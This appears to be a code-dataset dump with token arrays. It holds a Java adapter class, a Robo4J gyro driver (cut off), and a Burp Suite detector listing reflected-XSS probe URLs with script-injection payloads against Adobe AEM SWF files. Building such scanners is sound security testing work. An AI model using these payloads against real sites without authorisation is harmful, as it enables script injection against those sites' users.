file_name
stringlengths 6
65
| file_path
stringlengths 58
240
| content
stringlengths 684
891k
| file_size
int64 688
891k
| language
stringclasses 1
value | extension
stringclasses 1
value | repo_name
stringlengths 7
87
| repo_stars
int64 8
31.8k
| repo_forks
int64 0
9.36k
| repo_open_issues
int64 0
1.54k
| repo_created_at
stringlengths 20
20
| repo_pushed_at
stringlengths 20
20
| sha
stringlengths 64
64
| input_ids
listlengths 301
255k
| attention_mask
listlengths 1
1
| n_tok
int64 301
255k
| longline
bool 2
classes | alpha
float64 0.18
90.1
| encoded
bool 2
classes | autogen
bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
PropertyIterable.java
|
/FileExtraction/Java_unseen/Silverpeas_Silverpeas-Core/core-library/src/main/java/org/silverpeas/core/persistence/jcr/util/PropertyIterable.java
|
/*
* Copyright (C) 2000 - 2024 Silverpeas
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* As a special exception to the terms and conditions of version 3.0 of
* the GPL, you may redistribute this Program in connection with Free/Libre
* Open Source Software ("FLOSS") applications as described in Silverpeas's
* FLOSS exception. You should have received a copy of the text describing
* the FLOSS exception, and it is also available here:
* "https://www.silverpeas.org/legal/floss_exception.html"
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package org.silverpeas.core.persistence.jcr.util;
import java.util.Iterator;
import javax.jcr.Property;
import javax.jcr.PropertyIterator;
/**
*
* @author ehugonnet
*/
public class PropertyIterable implements Iterable<Property> {
/**
* The property iterator being adapted.
*/
private final PropertyIterator iterator;
/**
* Creates an iterable adapter for the given property iterator.
*
* @param iterator the property iterator to be adapted
*/
public PropertyIterable(PropertyIterator iterator) {
this.iterator = iterator;
}
/**
* Returns the property iterator.
*
* @return property iterator
*/
@SuppressWarnings("unchecked")
@Override
public Iterator<Property> iterator() {
return iterator;
}
}
| 1,896
|
Java
|
.java
|
Silverpeas/Silverpeas-Core
| 49
| 29
| 6
|
2011-01-31T15:32:42Z
|
2024-05-06T15:47:44Z
|
0e4cd1cac550adf35de2c20f619d2b30c6ff1dd29c4179a41fdf97ce2c91504d
|
[
1127,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
53,
53,
449,
244,
55,
53,
55,
57,
46044,
367,
321,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
222,
338,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
2915,
331,
7472,
3773,
391,
341,
5974,
480,
5496,
451,
1522,
244,
56,
51,
53,
451,
222,
338,
341,
23508,
49,
863,
1648,
14081,
477,
9937,
347,
3401,
642,
7834,
52,
6518,
287,
222,
338,
3944,
6391,
3870,
2903,
40828,
1725,
678,
9275,
641,
10309,
347,
46044,
367,
321,
1200,
222,
338,
525,
1323,
1725,
3773,
51,
244,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
1367,
22454,
222,
338,
341,
525,
1323,
1725,
3773,
49,
480,
580,
458,
2353,
3322,
2464,
63,
222,
338,
332,
662,
574,
1516,
51,
41197,
367,
321,
51,
1107,
52,
5744,
52,
107,
5527,
100,
3918,
51,
935,
39,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
662,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
1105,
51,
41197,
367,
321,
51,
1284,
51,
10782,
51,
111,
2465,
51,
1058,
64,
222,
222,
485,
1401,
51,
1058,
51,
5740,
64,
222,
222,
485,
3698,
51,
111,
2465,
51,
1667,
64,
222,
485,
3698,
51,
111,
2465,
51,
1667,
5740,
64,
222,
222,
1350,
222,
338,
222,
338,
496,
2133,
38842,
905,
286,
1317,
222,
588,
222,
942,
462,
6484,
17324,
4584,
19208,
65,
1667,
67,
320,
736,
1041,
682,
338,
906,
2821,
10033,
4019,
39251,
51,
682,
588,
353,
964,
1175,
6484,
5740,
10033,
64,
736,
1041,
682,
338,
9308,
619,
27433,
10726,
456,
341,
2716,
2821,
10033,
51,
682,
338,
682,
338,
496,
772,
10033,
341,
2821,
10033,
391,
545,
39251,
682,
588,
353,
581,
6484,
17324,
45,
1667,
5740,
10033,
46,
320,
303,
477,
51,
5174,
299,
10033,
64,
353,
339,
736,
1041,
682,
338,
3777,
341,
2821,
10033,
51,
682,
338,
682,
338,
496,
620,
2821,
10033,
682,
588,
353,
496,
14030,
459,
18362,
678,
353,
496,
1806,
353,
581,
14730,
65,
1667,
67,
10033,
365,
320,
303,
461,
10033,
64,
353,
339,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 471
| true
| 72.57384
| true
| true
|
XSSinSWFDetector.java
|
/FileExtraction/Java_unseen/thomashartm_burp-aem-scanner/src/main/java/burp/actions/dispatcher/XSSinSWFDetector.java
|
package burp.actions.dispatcher;
import burp.*;
import burp.actions.AbstractDetector;
import org.apache.commons.lang3.StringUtils;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
/**
* Checks for reflected XSS vulnerabilities in AEM hosted SWF files. AEM exposes
* AEM exposes a number SWF files hat might be vulnerable
* See - https://speakerdeck.com/fransrosen/a-story-of-the-passive-aggressive-sysadmin-of-aem?slide=61
* <p>
* The burp extension is a port of 0ang3el"s hacktivity conference checks.
* See his presentation and the related aemhackers project
* https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps
* https://github.com/0ang3el
*
* @author [email protected]
* @since 02/2019
*/
public class XSSinSWFDetector extends AbstractDetector {
private static final String ISSUE_NAME = "Reflected XSS vulnerabilities in AEM hosted SWFs";
private static final String ISSUE_DESCRIPTION =
"AEM provides a number of based SWF tools such as viewers that might be vulnerable. "
+ "See - https://speakerdeck.com/fransrosen/a-story-of-the-passive-aggressive-sysadmin-of-aem?slide=61 "
+ "AEM's Dispatcher must be configured to block the respective paths, to prevent them from beeing delivered.";
private static final String[] PATHS = new String[] {
"/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?onclick=javascript:confirm(document.domain)",
"/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?onclick=javascript:confirm`document.domain`",
"/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf.res?onclick=javascript:confirm(document.domain)",
"/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf.res?onclick=javascript:confirm`document.domain`",
"/etc/clientlibs/foundation/shared/endorsed/swf/slideshow.swf?contentPath=%5c\"))%7dcatch(e)%7balert(document.domain)%7d//",
"/etc/clientlibs/foundation/shared/endorsed/swf/slideshow.swf.res?contentPath=%5c\"))%7dcatch(e)%7balert(document.domain)%7d//",
"/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?javascriptCallbackFunction=alert(document.domain)-String",
"/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?javascriptCallbackFunction=alertdocument.domain`-String",
"/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf.res?javascriptCallbackFunction=alert(document.domain)-String",
"/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//",
"/libs/dam/widgets/resources/swfupload/swfupload_f9.swf.res?swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//",
"/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//",
"/libs/cq/ui/resources/swfupload/swfupload.swf.res?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//",
"/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?stagesize=1&namespacePrefix=alert(document.domain)-window",
"/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf.res?stagesize=1&namespacePrefix=alert(document.domain)-window",
"/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)%7dcatch(e)%7b%7d//",
"/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf.res?loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)%7dcatch(e)%7b%7d//",
"/etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf?stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source](document.domain)-window",
"/etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf.res?stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source](document.domain)-window"
};
/**
* {@link java.lang.reflect.Constructor}
*
* @param helperDto
* @param baseMessage
*/
public XSSinSWFDetector(BurpHelperDto helperDto, IHttpRequestResponse baseMessage) {
super(helperDto, baseMessage);
}
@Override
protected boolean issueDetected(final IHttpRequestResponse requestResponse) {
final IResponseInfo response = getHelpers().analyzeResponse(requestResponse.getResponse());
getHelperDto().getCallbacks().printOutput("StatusCode: " + response.getStatusCode());
boolean pass = false;
for (final String header : response.getHeaders()) {
// in case of Content-Disposition we fail as it will force us to download and execute the file
if (StringUtils.startsWith(header, "Content-Disposition:")) {
return false;
}
// if we find the right content type then the XSS will trigger for browser with enabled flash
if (!pass && StringUtils.startsWith(header, "Content-Type:")
&& StringUtils.contains(header, "application/x-shockwave-flash")) {
pass = true;
}
}
return response.getStatusCode() == 200 && pass;
}
@Override
protected List<String> getPaths() {
return Arrays.asList(PATHS);
}
@Override
protected List<String> getExtensions() {
return Collections.emptyList();
}
@Override
public String getName() {
return ISSUE_NAME;
}
@Override
public String getDescription() {
return ISSUE_DESCRIPTION;
}
@Override
public Severity getSeverity() {
return Severity.HIGH;
}
@Override
public Confidence getConfidence() {
return Confidence.CERTAIN;
}
}
| 5,815
|
Java
|
.java
|
thomashartm/burp-aem-scanner
| 71
| 11
| 8
|
2018-12-29T14:27:02Z
|
2024-03-22T11:31:25Z
|
32041d170ee34721f09c013ece9db6421c9da299833eaf09ee4e302e554e95ea
|
[
1337,
23566,
117,
51,
3564,
51,
19040,
64,
222,
222,
485,
23566,
117,
7737,
222,
485,
23566,
117,
51,
3564,
51,
5597,
14334,
64,
222,
485,
1105,
51,
2121,
51,
8381,
51,
1600,
56,
51,
15193,
64,
222,
222,
485,
1401,
51,
1058,
51,
9981,
64,
222,
485,
1401,
51,
1058,
51,
4293,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
1350,
222,
338,
17269,
456,
43326,
1618,
1725,
20645,
7316,
347,
418,
4565,
25968,
12499,
75,
2293,
51,
418,
4565,
41220,
222,
338,
418,
4565,
41220,
331,
1470,
12499,
75,
2293,
25772,
4816,
545,
20645,
463,
222,
338,
2819,
449,
1698,
574,
27057,
21272,
51,
527,
52,
2197,
711,
4190,
291,
52,
102,
50,
13514,
50,
1048,
50,
1402,
50,
47811,
50,
500,
23537,
50,
3750,
2317,
50,
1048,
50,
102,
423,
68,
7277,
66,
59,
54,
222,
338,
350,
117,
67,
222,
338,
906,
23566,
117,
5122,
458,
331,
2618,
451,
244,
53,
761,
56,
361,
39,
120,
16433,
121,
2219,
37175,
9378,
51,
222,
338,
2819,
6714,
23657,
480,
341,
5898,
331,
423,
15267,
502,
2091,
222,
338,
1698,
574,
27057,
21272,
51,
527,
52,
53,
761,
56,
361,
52,
109,
45502,
50,
999,
50,
4386,
50,
20757,
50,
285,
50,
102,
423,
50,
1857,
7520,
222,
338,
1698,
574,
951,
51,
527,
52,
53,
761,
56,
361,
222,
338,
222,
338,
496,
2133,
379,
13154,
51,
109,
521,
28635,
69,
1317,
47920,
51,
18625,
222,
338,
496,
8152,
244,
53,
55,
52,
55,
53,
54,
62,
222,
588,
222,
942,
462,
1618,
1725,
285,
5696,
75,
14334,
2041,
7406,
14334,
320,
465,
964,
924,
1175,
910,
40354,
2018,
100,
2491,
299,
332,
17965,
337,
1618,
1725,
20645,
7316,
347,
418,
4565,
25968,
12499,
15530,
884,
465,
964,
924,
1175,
910,
40354,
2018,
100,
17519,
299,
343,
332,
70,
4565,
7388,
331,
1470,
451,
4148,
12499,
75,
8699,
3774,
641,
2221,
502,
708,
4816,
545,
20645,
463,
51,
332,
547,
494,
332,
7496,
449,
1698,
574,
27057,
21272,
51,
527,
52,
2197,
711,
4190,
291,
52,
102,
50,
13514,
50,
1048,
50,
1402,
50,
47811,
50,
500,
23537,
50,
3750,
2317,
50,
1048,
50,
102,
423,
68,
7277,
66,
59,
54,
332,
547,
494,
332,
70,
4565,
1200,
43039,
2315,
545,
9576,
391,
2181,
341,
24248,
7854,
49,
391,
9457,
3049,
664,
545,
106,
318,
31436,
12984,
465,
964,
924,
1175,
910,
1197,
13407,
88,
299,
556,
910,
1197,
320,
343,
2450,
6711,
52,
1598,
8828,
52,
19076,
52,
5011,
52,
1605,
107,
52,
3857,
100,
1326,
123,
100,
1472,
110,
51,
1605,
107,
68,
26748,
66,
4273,
63,
8870,
45,
2826,
51,
4136,
5742,
343,
2450,
6711,
52,
1598,
8828,
52,
19076,
52,
5011,
52,
1605,
107,
52,
3857,
100,
1326,
123,
100,
1472,
110,
51,
1605,
107,
68,
26748,
66,
4273,
63,
8870,
101,
2826,
51,
4136,
26612,
343,
2450,
6711,
52,
1598,
8828,
52,
19076,
52,
5011,
52,
1605,
107,
52,
3857,
100,
1326,
123,
100,
1472,
110,
51,
1605,
107,
51,
595,
68,
26748,
66,
4273,
63,
8870,
45,
2826,
51,
4136,
5742,
343,
2450,
6711,
52,
1598,
8828,
52,
19076,
52,
5011,
52,
1605,
107,
52,
3857,
100,
1326,
123,
100,
1472,
110,
51,
1605,
107,
51,
595,
68,
26748,
66,
4273,
63,
8870,
101,
2826,
51,
4136,
26612,
343,
2450,
6711,
52,
1598,
8828,
52,
19076,
52,
4206,
52,
5438,
1265,
52,
1605,
107,
52,
7277,
2276,
51,
1605,
107,
68,
1304,
1233,
6142,
58,
104,
1508,
509,
42,
60,
3472,
765,
45,
106,
15970,
60,
103,
4805,
45,
2826,
51,
4136,
15970,
60,
105,
325,
411,
343,
2450,
6711,
52,
1598,
8828,
52,
19076,
52,
4206,
52,
5438,
1265,
52,
1605,
107,
52,
7277,
2276,
51,
1605,
107,
51,
595,
68,
1304,
1233,
6142,
58,
104,
1508,
509,
42,
60,
3472,
765,
45,
106,
15970,
60,
103,
4805,
45,
2826,
51,
4136,
15970,
60,
105,
325,
411,
343,
2450,
6711,
52,
1598,
8828,
52,
19076,
52,
5011,
52,
1605,
107,
52,
520,
309,
883,
5003,
22670,
51,
1605,
107,
68,
4273,
3309,
2466,
66,
4805,
45,
2826,
51,
4136,
7864,
671,
411,
343,
2450,
6711,
52,
1598,
8828,
52,
19076,
52,
5011,
52,
1605,
107,
52,
520,
309,
883,
5003,
22670,
51,
1605,
107,
68,
4273,
3309,
2466,
66,
4805,
2826,
51,
4136,
26601,
671,
411,
343,
2450,
6711,
52,
1598,
8828,
52,
19076,
52,
5011,
52,
1605,
107,
52,
520,
309,
883,
5003,
22670,
51,
1605,
107,
51,
595,
68,
4273,
3309,
2466,
66,
4805,
45,
2826,
51,
4136,
7864,
671,
411,
343,
2450,
8828,
52,
29248,
52,
12081,
52,
5390,
52,
1605,
107,
4480,
52,
1605,
107,
4480,
100,
107,
62,
51,
1605,
107,
68,
1605,
107,
68,
12953,
577,
6142,
55,
55,
1156,
42,
60,
3472,
765,
45,
106,
15970,
60,
103,
344,
3848,
597,
51,
125,
46,
4805,
45,
2826,
51,
4136,
490,
597,
51,
125,
66,
54,
42,
60,
105,
325,
411,
343,
2450,
8828,
52,
29248,
52,
12081,
52,
5390,
52,
1605,
107,
4480,
52,
1605,
107,
4480,
100,
107,
62,
51,
1605,
107,
51,
595,
68,
1605,
107,
68,
12953,
577,
6142,
55,
55,
1156,
42,
60,
3472,
765,
45,
106,
15970,
60,
103,
344,
3848,
597,
51,
125,
46,
4805,
45,
2826,
51,
4136,
490,
597,
51,
125,
66,
54,
42,
60,
105,
325,
411,
343,
2450,
8828,
52,
20972,
52,
1726,
52,
5390,
52,
1605,
107,
4480,
52,
1605,
107,
4480,
51,
1605,
107,
68,
12953,
577,
6142,
55,
55,
1156,
42,
60,
3472,
765,
45,
106,
15970,
60,
103,
344,
3848,
597,
51,
125,
46,
4805,
45,
2826,
51,
4136,
490,
597,
51,
125,
66,
54,
42,
60,
105,
325,
411,
343,
2450,
8828,
52,
20972,
52,
1726,
52,
5390,
52,
1605,
107,
4480,
52,
1605,
107,
4480,
51,
1605,
107,
51,
595,
68,
12953,
577,
6142,
55,
55,
1156,
42,
60,
3472,
765,
45,
106,
15970,
60,
103,
344,
3848,
597,
51,
125,
46,
4805,
45,
2826,
51,
4136,
490,
597,
51,
125,
66,
54,
42,
60,
105,
325,
411,
343,
2450,
6711,
52,
29248,
52,
1090,
502,
52,
120,
60,
4982,
52,
55,
51,
54,
54,
52,
9243,
52,
6086,
3516,
51,
1605,
107,
68,
9288,
911,
66,
54,
43,
2029,
5429,
66,
4805,
45,
2826,
51,
4136,
7864,
3537,
411,
343,
2450,
6711,
52,
29248,
52,
1090,
502,
52,
120,
60,
4982,
52,
55,
51,
54,
54,
52,
9243,
52,
6086,
3516,
51,
1605,
107,
51,
595,
68,
9288,
911,
66,
54,
43,
2029,
5429,
66,
4805,
45,
2826,
51,
4136,
7864,
3537,
411,
343,
2450,
6711,
52,
29248,
52,
1090,
502,
52,
120,
60,
4982,
52,
55,
51,
62,
52,
9243,
52,
6086,
3516,
51,
1605,
107,
68,
769,
2675,
66,
49,
5734,
1468,
43,
12953,
6142,
58,
104,
42,
55,
55,
894,
344,
3848,
803,
51,
125,
46,
803,
51,
125,
66,
38,
4805,
45,
2826,
51,
4136,
15970,
60,
3472,
765,
45,
106,
15970,
60,
103,
42,
60,
105,
325,
411,
343,
2450,
6711,
52,
29248,
52,
1090,
502,
52,
120,
60,
4982,
52,
55,
51,
62,
52,
9243,
52,
6086,
3516,
51,
1605,
107,
51,
595,
68,
769,
2675,
66,
49,
5734,
1468,
43,
12953,
6142,
58,
104,
42,
55,
55,
894,
344,
3848,
803,
51,
125,
46,
803,
51,
125,
66,
38,
4805,
45,
2826,
51,
4136,
15970,
60,
3472,
765,
45,
106,
15970,
60,
103,
42,
60,
105,
325,
411,
343,
2450,
6711,
52,
29248,
52,
1090,
502,
52,
120,
60,
4982,
52,
56,
51,
55,
52,
9243,
52,
6086,
3516,
51,
1605,
107,
68,
9288,
911,
66,
54,
43,
2029,
5429,
66,
3537,
36212,
18916,
4735,
1876,
42,
55,
103,
52,
121,
4735,
1876,
748,
2826,
51,
4136,
7864,
3537,
411,
343,
2450,
6711,
52,
29248,
52,
1090,
502,
52,
120,
60,
4982,
52,
56,
51,
55,
52,
9243,
52,
6086,
3516,
51,
1605,
107,
51,
595,
68,
9288,
911,
66,
54,
43,
2029,
5429,
66,
3537,
36212,
18916,
4735,
1876,
42,
55,
103,
52,
121,
4735,
1876,
748,
2826,
51,
4136,
7864,
3537,
39,
303,
1487,
465,
1041,
294,
338,
3105,
1222,
1401,
51,
1600,
51,
9069,
51,
7935,
130,
294,
338,
294,
338,
496,
772,
9348,
7247,
294,
338,
496,
772,
1712,
1193,
294,
588,
303,
581,
1618,
1725,
285,
5696,
75,
14334,
45,
27498,
117,
2775,
7247,
9348,
7247,
49,
457,
14283,
1416,
1712,
1193,
46,
320,
310,
2615,
45,
4328,
7247,
49,
1712,
1193,
312,
303,
339,
465,
496,
1806,
303,
2532,
1922,
2443,
33005,
45,
3242,
457,
14283,
1416,
1343,
1416,
46,
320,
310,
1175,
457,
1416,
1139,
1808,
299,
640,
10268,
941,
25500,
1416,
45,
1375,
1416,
51,
24122,
1052,
603,
640,
2775,
7247,
941,
390,
17742,
941,
1243,
2319,
459,
8701,
63,
332,
494,
1808,
51,
33886,
1052,
310,
1922,
3119,
299,
920,
64,
310,
456,
327,
3242,
910,
3353,
518,
1808,
51,
44369,
1177,
320,
343,
453,
347,
1152,
451,
6261,
50,
30638,
1019,
3562,
641,
580,
1118,
7679,
1790,
391,
5844,
480,
5755,
341,
822,
343,
434,
327,
15193,
51,
13907,
45,
2127,
49,
332,
1795,
50,
30638,
1941,
509,
320,
419,
461,
920,
64,
343,
339,
1083,
453,
434,
1019,
2309,
341,
2109,
1813,
847,
1636,
341,
1618,
1725,
1118,
6604,
456,
5439,
642,
5892,
14017,
343,
434,
1445,
4634,
979,
26582,
51,
13907,
45,
2127,
49,
332,
1795,
50,
638,
23799,
547,
979,
26582,
51,
4766,
45,
2127,
49,
332,
3180,
52,
125,
50,
635,
1060,
14255,
50,
9243,
2152,
320,
419,
3119,
299,
878,
64,
343,
339,
310,
339,
603,
461,
1808,
51,
33886,
365,
630,
244,
55,
53,
53,
979,
3119,
64,
303,
339,
465,
496,
1806,
303,
2532,
1701,
65,
671,
67,
640,
9648,
365,
320,
310,
461,
14479,
51,
14100,
45,
47396,
312,
303,
339,
465,
496,
1806,
303,
2532,
1701,
65,
671,
67,
640,
7460,
365,
320,
310,
461,
15490,
51,
31447,
492,
303,
339,
465,
496,
1806,
303,
581,
910,
16389,
365,
320,
310,
461,
40354,
2018,
100,
2491,
64,
303,
339,
465,
496,
1806,
303,
581,
910,
44685,
365,
320,
310,
461,
40354,
2018,
100,
17519,
64,
303,
339,
465,
496,
1806,
303,
581,
24329,
640,
22410,
365,
320,
310,
461,
24329,
51,
19527,
64,
303,
339,
465,
496,
1806,
303,
581,
13704,
13655,
640,
48090,
365,
320,
310,
461,
13704,
13655,
51,
30543,
37095,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,722
| true
| 67.49785
| true
| true
|
GyroL3GD20Device.java
|
/FileExtraction/Java_unseen/Robo4J_robo4j/robo4j-hw-rpi/src/main/java/com/robo4j/hw/rpi/i2c/gyro/GyroL3GD20Device.java
|
/*
* Copyright (c) 2014, 2023, Marcus Hirt, Miroslav Wengner
*
* Robo4J is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Robo4J is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Robo4J. If not, see <http://www.gnu.org/licenses/>.
*/
package com.robo4j.hw.rpi.i2c.gyro;
import com.robo4j.hw.rpi.i2c.AbstractI2CDevice;
import com.robo4j.hw.rpi.i2c.ReadableDevice;
import com.robo4j.hw.rpi.utils.I2cBus;
import com.robo4j.math.geometry.Tuple3f;
import java.io.IOException;
/**
* Abstraction to read angular change from a L3GD20 Gyro, for example the Gyro
* available on the Adafruit 10DOF breakout board.
*
* @author Marcus Hirt (@hirt)
* @author Miro Wengner (@miragemiko)
*/
public class GyroL3GD20Device extends AbstractI2CDevice implements ReadableDevice<Tuple3f> {
private static final int DEFAULT_I2C_ADDRESS = 0x6b;
private final Sensitivity sensitivity;
// Registers
private static final int REGISTER_WHO_AM_I = 0x0F;
private static final int REGISTER_CTRL_REG1 = 0x20;
// private static final int REGISTER_CTRL_REG2 = 0x21;
// private static final int REGISTER_CTRL_REG3 = 0x22;
private static final int REGISTER_CTRL_REG4 = 0x23;
private static final int REGISTER_CTRL_REG5 = 0x24;
// private static final int REGISTER_REFERENCE = 0x25;
// private static final int REGISTER_OUT_TEMP = 0x26;
// private static final int REGISTER_STATUS_REG = 0x27;
private static final int REGISTER_OUT_X_L = 0x28;
private static final int REGISTER_OUT_X_H = 0x29;
// private static final int REGISTER_OUT_Y_L = 0x2A;
// private static final int REGISTER_OUT_Y_H = 0x2B;
// private static final int REGISTER_OUT_Z_L = 0x2C;
// private static final int REGISTER_OUT_Z_H = 0x2D;
// private static final int REGISTER_FIFO_CTRL_REG = 0x2E;
// private static final int REGISTER_FIFO_SRC_REG = 0x2F;
// private static final int REGISTER_INT1_CFG = 0x30;
// private static final int REGISTER_INT1_SRC = 0x31;
// private static final int REGISTER_TSH_XH = 0x32;
// private static final int REGISTER_TSH_XL = 0x33;
// private static final int REGISTER_TSH_YH = 0x34;
// private static final int REGISTER_TSH_YL = 0x35;
// private static final int REGISTER_TSH_ZH = 0x36;
// private static final int REGISTER_TSH_ZL = 0x37;
// private static final int REGISTER_INT1_DURATION = 0x38;
private static final int REGISTER_LOW_ODR = 0x39;
// Constants
private static final int L3GD20_ID = 0xD4;
private static final int L3GD20H_ID = 0xD7;
public enum OperationMode {
BYPASS, FIFO, STREAM, BYPASS_TO_STREAM, STREAM_TO_FIFO;
}
public enum Sensitivity {
/**
* 245 degrees/s range (default)
*/
DPS_245(0x00, 8.75f / 1000.0f),
/**
* 500 degrees/s range
*/
DPS_500(0x10, 17.5f / 1000.0f),
/**
* 2000 degrees/s range
*/
DPS_2000(0x20, 70.0f / 1000.0f);
private final int fullScaleSelectionMask;
private final float sensitivityFactor;
Sensitivity(int fullScaleSelectionMask, float sensitivityFactor) {
this.fullScaleSelectionMask = fullScaleSelectionMask;
this.sensitivityFactor = sensitivityFactor;
}
public float getSensitivityFactor() {
return sensitivityFactor;
}
}
public GyroL3GD20Device(Sensitivity sensitivity) throws IOException {
this(I2cBus.BUS_1, DEFAULT_I2C_ADDRESS, sensitivity, true);
}
public GyroL3GD20Device(I2cBus bus, int address, Sensitivity sensitivity, boolean enableHighPassFilter) throws IOException {
super(bus, address);
this.sensitivity = sensitivity;
initialize(enableHighPassFilter);
}
private void initialize(boolean enableHighPassFilter) throws IOException {
// int id = i2CConfig.read(REGISTER_WHO_AM_I);
int id = readByte(REGISTER_WHO_AM_I);
if ((id != L3GD20_ID) && (id != L3GD20H_ID)) {
throw new IOException(String.format("Did not find L3GD20 chip on the address %02X. Read ID was %02X.", getAddress(), id));
}
// Reset / Power down
